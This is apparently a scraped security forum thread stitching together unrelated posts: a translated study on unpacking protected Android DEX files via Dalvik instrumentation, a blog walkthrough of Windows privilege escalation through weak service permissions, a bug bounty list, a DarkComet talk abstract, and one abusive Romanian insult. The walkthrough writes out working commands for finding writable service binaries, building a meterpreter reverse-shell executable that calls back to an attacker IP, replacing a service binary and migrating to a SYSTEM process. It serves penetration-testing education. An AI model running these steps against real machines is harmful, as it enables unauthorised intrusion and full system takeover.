On account of the use of dynamic loading mechanism, the consolidated DEX file will not have the real code from the original DEX file (There are some consolidations that don’t dynamically load complete DEX). Next, you can use IDA to get the entry point and load the running native code. Often the so library is obfuscated and packed. The method involves breaking down the ELF header information so that IDA parse will fail, as shown in the figure below: As you can see in readelf, apparently several fields in the ELF header are problematic. After repairmen, IDA will be able to decompile the so files. Next, we’ll start to analyze from the entry point. You will notice there are lots of problems when decompiling F5 to C code. The contents of most functions cannot be decompiled to normal C code. In assembly code, you’ll see the following junk code: We’ve concluded the junk code pattern of this product. It pushes the stack to jump out of the stack so that the decompiled function can identify problems. Because de-compilation often takes a push on the stack as function calling, as a matter of fact, it pushes the stack to compute register values. By pushing and jumping out the stack to fail the de-compilation and find the balance stack, then it executes a really useful instruction. Therefore the above case only has two really useful instructions. The real assembly instruction can be extracted by using a script or manually. After extraction, you can reverse the code and use it to decrypt the JNI_OnLoad function. JNI_OnLoad will decrypt another ELF file from a piece of data, but at present, this ELF file cannot be correctly disassembled. The next code will continue to correct the data of the ELF. It decompresses the text end from the new ELF file and extracts a key from the text end to decrypt the rotext. At last, the real DEX packing application will be decrypted like this: The above process is actually a pack for an ELF file. The newly decrypted and corrected ELF file is the real decryption application for DEX pack. This process is not obfuscated or packed. By reversing, you can see it takes a piece of padding data from the original DEX to get some necessary parameters for decryption and decompression. You can get the real DEX file through decrypting and decompressing the whole padding data. Of course, ELF contains some code for anti-debugging and anti- analysis. As we are conducting static analysis, we’ll ignore this part of code. If you use a debugger to conduct dynamic analysis on additional processes, such as dump, you’ll have to consider how to bypass these anti-debugging techniques. The above case is a dynamic loading DEX instance. Although many consolidation services vary in technical details, including decryption algorithm, junk code patter and ELF pack, it basically can represent how to decrypt and release the most consolidation services that dynamically load DEX, static reversing and the ideas to break it. This case is just a glimpse of it. Because consolidation services also feature that they frequently change its decryption algorithm and consolidation methods. At the same time, there are some consolidation services that don’t use the dynamic loading mechanism of the whole DEX file; instead they use dynamic change in running. Under this mechanism, the consolidated DEX file will contain part of precise information from the original DEX, but the protected code will choose other methods to hide. Other than that, there is a combination of two methods, which will be covered later. To sum up, a consolidated Android application actually is used to hide the real DEX file and it will add protection features to prevent from being reversed. As can be seen, it takes time to reverse its unpacking algorithm by using only static analysis. Besides, different consolidation services use different algorithm and each frequently changes its algorithm and consolidation technique, which makes static reverse unpacking technique will fail in a short period of time. Meanwhile, consolidation services also take other Android application protection measures than dynamic DEX loading. We’ll just talk a little about it here, because this part can be illustrated in a single post. The first class is integrity check. It includes check on the integrity of itself, for instance, examine the test value of a DEX file in the memory and the application certificate to determine if it’s repacked or inserted with code. It also includes check on its environment; for example, by checking certain device files to inspect simulator, by ptrace or process status to determine if it’s debugged, hooked specific function to prevent the code memory from being accessed or dump. The second class is code obfuscation. Normally obfuscation requires modification on source code or byte code. The purpose of this is to make it more difficult for analyst to understand the semantic meaning. Common modifications include changes on variable name, method name or class name and decryptions on constant string. It uses Java reflection mechanism invoke method to insert junk instructions or invalid code in order to disorder application’s control flow. Or it may use more complex operations to replace the original basic instructions to interrupt control flow by using JNI method. We define the third class as anti-analysis or code-behind technique. Its purpose is to use all kinds of methods to avoid the exposure of application code and analysis. The most popular one is the above general encryption protection for DEX and the dynamic auto-modification in running. Dynamic auto-modification is to decrypt and execute code when the application runs to certain class or method. Meanwhile it may correct part of dalvik data structure after dynamic modifications to make it harder for analysis. Some anti-analysis techniques needs a little tricks, for example exploit the bug of static analysis tools, or use analytic features against it, including manifest cheating, APK pseudo encryption, the method hides in DEX file, or insert illegal or non-exist class to crash the analysis tool. 0x03 Thoughts on Unpacking There are currently two types of common unpacking methods against consolidated applications. One is static reversing analysis. The shortage of this method is obvious that is difficult to operate and is not able to handle changes of algorithm. The other is an unpacking method based on memory dump. This method requires you to bypass all anti-debuting methods first and new emerging anti-dumping tricks. For example, changing dex headers avoids enumerating search. Dynamically changing dalvik data structures destroys the DEX files in memory. These techniques require more manual repair work to be done by observing the consolidated features even after you dump the DEX files. Therefore we brought up this general auto-unpacking method, which is based on dynamic analysis. Regardless of different consolidation implementation, this method can avoid any anti-debuting techniques but meanwhile doesn’t need much repair work. First of all, our unpacking object is the DEX file in Android applications, so we choose to directly change the source code of Dalvik in Android for instrumentation. As the DEX file is interpreted on Dalvik, all of its true behaviour can be exposed on Dalvik. Dalvik has multiple interpreting modes, among which there is a C++ based portable mode and some other modes are developed with assembly languages related to the platform. To implement the code of instrumentation, once we find the App to be unpacked is getting interpreted, we first should (the directory of source code-dalvik/vm/interp/Interp.cpp) change the interpreting mode to portable. The benefit of this is to make it harder for detecting the existence of unpacking behaviour by directly changing the execution environment. Compared with methods like attaching to debugger, this method is more transparent. Another advantage of using interpreter is we don’t have to care at which stage the consolidation app will load, initiate and decrypt the code. We can feet the real data and behaviour directly when running. The instrumentation code is implemented at the switch point of each instruction interpreted in Dalvik?dalvik/vm/mterp/out/InterpC-portable.cpp?, thus the unpacking operation can be performed at any instruction during execution, and meanwhile deal with the consolidation app which is decrypted when it’s executed. At last, source code based modification can be applied to actual machines, Android source code can perfectly suit all Nexus cellphones and doesn’t have to confront with the consolidation app’s detecting tricks for simulators. The essence of unpacking is to obtain the actual behaviour of an app, therefore instrumentation is to get the Dalvik data structure in memory to reflect the real code to be executed. When an instruction is executed, it can get the method that this instruction belongs to and Method this structure. While each executed method contains the class object-calzz that this method belongs to and clazz (directory o source code-dalvik/vm/oo/Object.h) contains the pDvmDex?dalvik/vm/DvmDex.h?object among which pDexFile?dalvik/libdex/DexFile.h?structure represents DEX files, that’s to say, after the execution process gets the current method, you can use curMethod?clazz->pDvmDex->pDexFile to get the DEX file structure that this method belongs to. This structure contains the memory information of all DEX file when it’s executed during interpreting. The real DEX can be recovered by parsing this DexFile structure. 0x04 A simple unpacking implementation So far, our first reaction is that if there’s any existing program that can interpret Dalvik byte code but take the DexFile structure that is read into the memory as input and meanwhile directly implement based on source code which is C/C++ implementation, instead read a static DEX file as input like many static reversing tools. We did a search and found that the source code in Android already provides DexDump (dalvik/dexdump/DexDump.cpp). This tool can satisfy this need. We have slightly changed the code of this DexDump and inserted it to the interpreter as follow: Use it to read the DexFile, this code will be executed in the main Activity of an APP by default. The main Activity can be acquired through AndroidManifest.xml, because the entry point class in this file is not hidden. We find this can handle most consolidation apps and get the real code in the DEX file which is hidden by consolidation apps, the output is as follow: But this method has a very obvious disadvantage. The output is in text form for the byte code of Dalvik. One the one hand, it cannot be reversed to Java. On the other hand, text form is not good for next complex analysis. Our best goal is to get a complete DEX file. 0x05 A perfect unpacking implementation Normally at last step, many other unpacking tools will directly read pDexFile?baseAddr??pDvmDex->memMap as starting address to recover the complete DEX file and directly dump the memory of the whole file size. Howver, we find for some consolidation apps, the code dumped in this way still doesn’t contain the real code. This is because part of the real code in the DEX file is modified and mapped to the file out of the continuous memory section in running, as show in the figure below, a DEX file is supposed to be in a continuous memory section when it’s loaded into the memory, then it’s parsed and assigned with values as the structure required by Dalvik for each dynamic execution, but part index structure should point to continuous data block. However, the consolidation app may make some changes, for example, modify the data in header and re-allocate with non-continuous memory to store data and make those index data blocks to point to newly assigned data block. If we directly use dump, then we’ll not be able to get the complete DEX file. We aim to recover the original DEX file in a unified manner and don’t want to perform subsequent repairmen for different shells, because this leads us to the same dilemma as static reversing consolidation algorithm. Therefore, we have an better implementation based on the above simple implementation, which is called DEX file restructuring. The process is quite simple, that is to get all Dalvik data structures required by the interpreter during executing the application, the data structures here are all real and interpreted to execute. Then restructuring these data structures to a new DEX file. As shown in the above figure, even the memory is not continuous, we don’t have to worry its operation on the original mapped memory but we can directly obtain each non-continuous data and recombine these data to a new DEX file according to certain criterion. The first step is to precisely obtain each Dalvik data structure. To ensure accuracy of acquisition, we take the same method as the one the interpreter uses (refer to the dexGetXXXX method in DexFile.h ), because a DEX file or a same data block can be acquired in many ways, for instance, character strings may read the offset in file header to get DEX files or use the stringId table. In normal circumstances, these ways are all correct, but consolidation apps will do some damages. However, it cannot destroy the data used for acquisition in running. Because once the data is broken, the application won’t work. The specific acquiring method is as shown in the figure: We need to walk through some pointers and offsets in every array (eg. pStringIds?pProtoIds?…?pClassDefs) , get each item and combine its contents as a large class (eg. stringData?typeList?…?ClassData?Code). Next, after acquisition, there are several problems to pay attention to during rewriting. First is the arrangement of these captured data, we referenced the order of map item type codes in dalvik/libdex/DexFile.h for arrangement. The arrangement requires to adjust the offset in each item as the new offset, for instance, stringDataOff, parametersOff, interfacesOff, classDataOff, codeOff. Then for values in structures DexHeader and MapList, we’ll calculate and set, instead of taking the original value. For some fixed values, such as the values in header, we meed to set them based on our knowledge. Eventually, we need to consider some data expression in memory and the data format difference in the DEX file, for example, some data items are ULEB128 encoded in the file and int type in memory. Besides, you need to pay attention to the 4-byte aligned and the field_idx_diff in encoded_method_format. https://source.android.com/devices/tech/dalvik/dex-format.html While we restructuring the data, we ignored some blocks, such as all the data structure related to annotation, but its structure is extremely complex. When it’s ignored, it won’t affect the real behaviour of the application. 0x06 Experiment and Discovery After modifying the code, we re-compile the libdvm module and write the newly-generated libdvm.so into system directory /system/lib/ to overwrite the original library file. Our experimental subject are a Galaxy Nexus running Android 4.3 and a Nexus 4 running Android 4.4.2. Then we submit a simple application, send it to every online consolidation service, get the consolidated application and unpack it. The experimental discovery can used on almost every consolidation app to recover the original DEX file. The following are some discoveries about consolidation apps, mainly on different self-protection tricks that are adopted by consolidation apps, here the results are all texts of DexDump. Since some protection measures can use this method to show a lot details, all can be directly recovered to DEX files. The above two cases show that some consolidation apps will remove the magic number to hide the DEX file in memory so that one won’t be able to search any DEX file. Besides,some will modify the size of header and remove all field offsets in the header. Because our method is to recalculate the header, the restructured DEX will not be affected. Other than that, some consolidation apps will insert additional classes to beak normal reversing effects. For example, this class has a way to fail dex2jar. Some pack will change codeOff to a negative value, so that the code will not be mapped into the memory range of the file. Our method can directly get the code and rewrite it to normal position. Some other packs rewrite other methods to put the code into a new method, decrypt it before execution and remove it after execution. For case like that, since our code is instrumented where each method is invoked, all we need is to adjust unpacking point to where the method is executed so that unpacking will recover the code. Except the above case, we find some consolidation app will hook the write function in process space. If it detects the content to write is specific data (eg. dex header), it would fail the write operation. Or it detects it’s getting the memory space in the mapped DEX file section, it would fail the write operation. Some consolidation app will separate the original DEX file to several DEX and modify specific data items like debug_info_off to false value. when running which will be dynamically changed back to the correct value. Some packs will obfuscate code based on original application. (Note: The above cases are not all latest versions. It’s not guaranteed the current consolidation apps will be consistent with the above cases.) 0x07 Discussion and Thought First of all, our method is still limited. On the one hand, as explained in research object, we only protect the encryption of DEX files without de-obfuscation work. Second, our method is still based on dynamic analysis which comes with the limitations of dynamic analysis, for example, a piece of encrypted code is decrypted when running to it, but this method cannot be triggered to execute and our method cannot decrypt the code of this method. At last, although this method is hard to be detected by consolidation apps, the implementation of the tools based on this method will surely be of some features. There features can be leveraged by consolidation app and confront. Finally, I want to discuss with you about better consolidation ideas on Android platform. In fact, it’s relatively easier to break the consolidation on Android Platform, but there are harder and safer consolidation solutions. However inevitably you have to consider the performance and compatibility of the consolidation solution on smartphone platform. Combining these factors, I think the trend and practice of consolidation protection mainly focus on the followings. One is I think Android obfuscation and packing can be combined. From the perspective of an attacker, I think a powerful obfuscation is more effective than packed protection code logic. But it’s very difficult to design a good obfuscation scheme. Currently the domestic consolidation won’t change and obfuscate the original code in fear of the compatibility on changing the code. I think this is a development point. I find that some excellent foreign tools will work on deep obfucation, for example, the dexprotector has packing and obfuscation, even if unpacking is successful, you’ll have to face the obfuscated code which is hard to understand. Besides, I think partial consolidation is stronger than entire consolidation in security. Like a previous case, a method only decrypts itself in running, once it’s not in running, it will be encrypted or removed. This equals to using the flaw of the low coverage rate if dynamic execution to further protect itself. The third is for better consolidation, the consolidation process should be performed in the middle of development instead of the current before development. Some consolidation SDK of today is a good practice in this direction. During development, some sensitive operations use an interface of a security library. Wether in performance or effects, this can dramatically improve the entire consolidation. Any developer who is familiar with the business will know exactly which part of code requires protection, because in fact there is only a few portion logics of an application requiring protection. By narrowing the range of consolidation, performance will be enhanced and singe security library can be targeted protected for better effects. Compared with entire APP consolidation, this is easier for compatibility test. The other idea of consolidation is to use Native code, especially for critical program logic. It’s harder to reverse Native code than Java, let alone the code after obfuscation or packing. Meanwhile Native code in fact can improve performance, it’s a win-win choice. This extents to how to deeply protect the native code in Android applications, if sensitive operation is protected by native code that is deeply obfuscated, the attack cost will surly be raised. At last, I think the trend of consolidation protection is to use less tricks, for instance, it’s not meaningful to use the bug of static analysis tools or the bug of system passing APK to perform protection, consolidation should focus more on the structure of the whole system instead of some little tricks. Sursa: A Research on general auto-unpacking methods for Android applications - Drops

windows privilege escalation via weak service permissions When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users. 1. System 2. Administrator 3. Regular user Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system. So let’s say you’re performing a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at insomniasec.com have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back. Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware awindows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command. wmic service list brief Your output should be similar to below, I’ve snipped the output for brevity. ... snip ... 1077 WMPNetworkSvc 0 Manual Stopped OK 1077 WPCSvc 0 Manual Stopped OK 0 WPDBusEnum 0 Manual Stopped OK 0 wscsvc 752 Auto Running OK 0 WSearch 2140 Auto Running OK 0 wuauserv 856 Auto Running OK First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7. So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission. On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services. for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below. [TABLE=width: 891] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [/TD] [TD=class: code]" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe BUILTIN\IIS_IUSRS:(I)(RX) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE" C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) WIN-B5JHUDECH2P\homer:(I)(F) Successfully processed 1 files; Failed processing 0 files c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE" C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files [/TD] [/TR] [/TABLE] For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command. The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a service with weak permissions which can also be seen on line 17 in the output above. C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE" C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F) The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grabbacktrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable. [TABLE=width: 891] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [/TD] [TD=class: code]root@bt:~# ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:0c:29:11:1e:53 inet addr:192.168.134.135 Bcast:192.168.134.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9227 errors:0 dropped:0 overruns:0 frame:0 TX packets:396 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:650604 (650.6 KB) TX bytes:123409 (123.4 KB) Interrupt:19 Base address:0x2024 root@bt:~# cd /pentest/exploits/framework root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"} root@bt:/pentest/exploits/framework#[/TD] [/TR] [/TABLE] The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory. Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this. Next rename the original ose.exe to something different and name exploit.exe to ose.exe So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command. root@bt:/pentest/exploits/framework#./msfconsole You should now have a “msf” console, next run the following commands. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 [/TD] [TD=class: code]msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.134.135 lhost => 192.168.134.135 msf exploit(handler) > set lport 80 lport => 80 msf exploit(handler) >[/TD] [/TR] [/TABLE] At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly. [TABLE=width: 581] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [/TD] [TD=class: code]msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.134.135 yes The listen address LPORT 80 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target[/TD] [/TR] [/TABLE] If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]msf exploit(handler) > exploit [*] Started reverse handler on 192.168.134.135:80 [*] Starting the payload handler...[/TD] [/TR] [/TABLE] Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service. C:\Users\homer>wmic service ose call startservice You should see similar output when you run this command. Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice() Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following. [TABLE=width: 758] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code] [*] Sending stage (752128 bytes) to 192.168.134.134 [*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400 meterpreter >[/TD] [/TR] [/TABLE] Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended. [*] Meterpreter session 1 closed. Reason: Died Back on the windows machine there’s also some output on the command prompt. Method execution successful. Out Parameters: instance of __PARAMETERS { ReturnValue = 7; }; The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue. wmic process list brief | find "winlogon" Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click“show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]meterpreter > migrate 460 [*] Migrating to 460... [*] Migration completed successfully. meterpreter >[/TD] [/TR] [/TABLE] Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >[/TD] [/TR] [/TABLE] At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion. There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges. Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [/TD] [TD=class: code]meterpreter > getsystem -h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -h Help Banner. -t <opt> The technique to use. (Default to '0'). 0 : All techniques available 1 : Service - Named Pipe Impersonation (In Memory/Admin) 2 : Service - Named Pipe Impersonation (Dropper/Admin) 3 : Service - Token Duplication (In Memory/Admin) 4 : Exploit - KiTrap0D (In Memory/User)[/TD] [/TR] [/TABLE] Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 5 [/TD] [TD=class: code]meterpreter > exit [*] Shutting down Meterpreter... [*] Meterpreter session 2 closed. Reason: User exit msf exploit(handler) >[/TD] [/TR] [/TABLE] Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler. [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code]msf exploit(handler) > exploit [*] Started reverse handler on 192.168.134.135:80 [*] Starting the payload handler...[/TD] [/TR] [/TABLE] Now on our windows target machine let’s run our exploit.exe [TABLE=width: 504] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]c:\Users\homer\Desktop>exploit.exe c:\Users\homer\Desktop>[/TD] [/TR] [/TABLE] Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back. [TABLE=width: 758] [TR] [TD=class: gutter] 1 2 3 4 [/TD] [TD=class: code] [*] Sending stage (752128 bytes) to 192.168.134.134 [*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400 meterpreter >[/TD] [/TR] [/TABLE] Now let’s try the “getsystem” command and see what happens. meterpreter > getsystem Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output. [TABLE=width: 547] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]meterpreter > getsystem [-] Error running command getsystem: Rex::TimeoutError Operation timed out. meterpreter >[/TD] [/TR] [/TABLE] So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message. This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command. c:\psexec.exe -s cmd.exe After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user. To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation. If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks. Sursa: http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/

Doresc sa-ti iau neamul de mongoli in pula.

Lista lunga: List of Bug Bounty Programs INTERNATIONAL 426+ OFFICIAL - Bug Bounty Sheet VULNERABILITY LAB

Kevin Breen - DarkComet From Defense To Offense - Identify your Attacker DarkComet is A Remote Access Trojan that has been around for a while. It has been used by script kiddies and nation states alike. It is no longer in active development and It is well documented and understood. So why would you be interested in me talking to you about this bit of malware? Because it has an vulnerability and a public exploit that can tell you a lot about the attackers campaign. How many machines has he infected, where are the infected hosts, what information has he stolen from these machines? Taking the exploit one step further and adding a little imagination and forensics knowledge we can start to identify the attacker himself. Identifying the IP and domain is easy and will give you some info. But what if you could get his daily email address, Facebook details, favourite coffee shop, local library, copy of his CV and if you are really lucky a txt file containing all the credentials for his remote exploit sites and FTP dumps. This presentation is not going to look at the deep technical aspects of the exploit instead it will start with the defensive posture against dark comet and extract some key information from an attack against you. Finishing with a case study showing what information can be extracted from the attacker. More info: https://techanarchy.net/2015/11/darkcomet-hacking-the-hacker/

